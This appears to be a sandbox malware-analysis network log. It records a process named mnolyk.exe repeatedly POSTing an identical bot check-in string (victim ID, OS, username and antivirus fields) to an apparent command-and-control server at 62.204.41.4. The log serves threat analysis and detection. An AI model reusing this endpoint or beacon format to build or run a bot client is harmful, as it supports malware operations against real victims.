Feb 6, 2023 18:37:40.718413115 CET	835	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:37:40.784142017 CET	835	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:37:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
376	192.168.2.7	50104	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:37:40.952666998 CET	836	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:37:41.018651009 CET	836	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:37:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
377	192.168.2.7	50105	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:37:41.185986996 CET	837	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:37:41.251419067 CET	837	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:37:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
378	192.168.2.7	50106	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:37:41.418241978 CET	838	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:37:41.483894110 CET	838	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:37:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
379	192.168.2.7	50107	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:37:41.653832912 CET	839	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:37:41.716232061 CET	839	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:37:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
38	192.168.2.7	49762	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:36:06.819556952 CET	470	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:36:06.885020971 CET	470	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:36:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
380	192.168.2.7	50108	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:37:41.895553112 CET	840	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:37:41.961169004 CET	840	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:37:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
381	192.168.2.7	50109	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:37:42.135759115 CET	841	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:37:42.199654102 CET	841	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:37:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
382	192.168.2.7	50110	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:37:42.371968031 CET	842	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:37:42.434534073 CET	842	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:37:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
383	192.168.2.7	50111	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:37:42.623220921 CET	843	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:37:42.686508894 CET	843	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:37:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
384	192.168.2.7	50112	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:37:42.889738083 CET	844	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:37:42.955672026 CET	844	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:37:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
385	192.168.2.7	50113	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:37:43.122477055 CET	845	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:37:43.189285994 CET	845	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:37:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
386	192.168.2.7	50114	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:37:43.360833883 CET	846	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:37:43.425688982 CET	846	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:37:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
387	192.168.2.7	50115	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:37:43.614291906 CET	847	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:37:43.680242062 CET	847	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:37:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
388	192.168.2.7	50116	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:37:43.857815981 CET	848	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:37:43.923408031 CET	848	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:37:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
389	192.168.2.7	50117	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:37:44.099591970 CET	849	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:37:44.165404081 CET	849	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:37:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
39	192.168.2.7	49763	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:36:07.067395926 CET	471	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:36:07.132951021 CET	471	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:36:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
390	192.168.2.7	50118	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:37:44.342001915 CET	850	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:37:44.405376911 CET	850	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:37:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
391	192.168.2.7	50119	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:37:44.576880932 CET	851	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:37:44.641315937 CET	851	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:37:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
392	192.168.2.7	50120	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:37:44.810266972 CET	852	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:37:44.874505997 CET	852	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:37:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
393	192.168.2.7	50121	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:37:45.046253920 CET	853	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:37:45.113672972 CET	853	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:37:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
394	192.168.2.7	50122	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:37:45.289416075 CET	854	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
